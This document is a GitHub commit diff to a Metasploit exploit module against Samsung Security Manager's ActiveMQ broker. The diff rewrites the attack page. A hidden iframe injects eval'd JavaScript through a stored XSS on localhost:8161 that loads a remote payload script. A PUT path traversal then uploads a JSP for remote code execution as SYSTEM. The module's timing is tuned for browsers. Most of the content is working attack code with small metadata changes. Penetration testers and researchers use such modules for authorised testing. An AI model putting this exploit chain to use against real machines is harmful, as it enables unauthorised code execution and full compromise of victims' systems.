Skip to content

Commit bc425b0

Browse files
committed
Update samsung_security_manager_put
This patch improves the following * Stage 1 XSS/JS attack to use the body.onload callback * Better timing for FF
1 parent 9f3c8c7 commit bc425b0

File tree

1 file changed

+38
-28
lines changed

1 file changed

+38
-28
lines changed

modules/exploits/windows/browser/samsung_security_manager_put.rb

Lines changed: 38 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -14,28 +14,27 @@ class MetasploitModule < Msf::Exploit::Remote
1414

1515
def initialize(info={})
1616
super(update_info(info,
17-
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
17+
'Name' => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution",
1818
'Description' => %q{
19-
This is an exploit against Samsung Security Manager that bypasses the patch in
20-
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
21-
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
22-
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
23-
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
19+
This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481
20+
by exploiting the vulnerability against the client-side. This exploit has been tested successfully using
21+
IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally
22+
a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM.
2423
},
2524
'License' => MSF_LICENSE,
2625
'Author' =>
2726
[
28-
'mr_me <mr_me[at]offensive-security.com>', # vuln + module
27+
'mr_me <mr_me[at]offensive-security.com>', # AWAE training 2016
2928
],
3029
'References' =>
3130
[
32-
[ 'URL', 'http://metasploit.com' ]
31+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-15-156/' ], # client vs server
32+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ] # client vs server
3333
],
3434
'Platform' => 'win',
3535
'Targets' =>
3636
[
37-
# tested on 1.32, 1.4 & 1.5
38-
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],
37+
[ 'Samsung Security Manager 1.32 & 1.4 Universal', {} ] # tested on 1.32 & 1.4
3938
],
4039
'DisclosureDate' => "Aug 05 2016",
4140
'DefaultTarget' => 0))
@@ -175,7 +174,7 @@ def on_request_uri(cli, request)
175174
176175
function start() {
177176
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
178-
setTimeout(exploit(), 2000); // timing is important
177+
setTimeout(exploit(), 4000); // timing is important
179178
}
180179
start();
181180
|
@@ -198,27 +197,39 @@ def on_request_uri(cli, request)
198197
onlick.obfuscate
199198
end
200199

201-
iframe_injection = ""
202-
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
203-
(1..20).step(1) do |n|
204-
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"
205-
end
206-
207-
# the stored XSS endpoint
208-
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="
209-
210-
# we use XSS to execute JavaScript code in local context to avoid CORS
211-
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
212-
xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""
213-
target << Rex::Text.uri_encode(xss_injection)
214-
215200
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
216201
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
217202
html_content = %Q|
218203
<html>
219204
<body>
220-
<iframe src="#{target}" width="0" height="0"></iframe>
221-
#{iframe_injection}
205+
<script>
206+
207+
function fire() {
208+
var a = document.createElement('script');
209+
a.type = 'text/javascript';
210+
a.src = '#{payload_url}';
211+
document.body.appendChild(a);
212+
};
213+
214+
var code = fire.toString() + ";fire();";
215+
var evalCode = 'eval("' + code + '")';
216+
var if1 = document.createElement("iframe");
217+
if1.src = 'http://localhost:8161/admin/browse.jsp?JMSDestination="%2b' + evalCode + '%2b"';
218+
if1.width = 0;
219+
if1.height = 0;
220+
document.body.appendChild(if1);
221+
222+
</script>
223+
<script>
224+
225+
window.onload = function() {
226+
var if2 = document.createElement("iframe");
227+
if2.src = "http://localhost:8161/admin/queueGraph.jsp"
228+
if2.width = 0;
229+
if2.height = 0;
230+
document.body.appendChild(if2);
231+
};
232+
</script>
222233
</body>
223234
</html>
224235
|
@@ -227,4 +238,3 @@ def on_request_uri(cli, request)
227238
handler(cli)
228239
end
229240
end
230-

0 commit comments

Comments
 (0)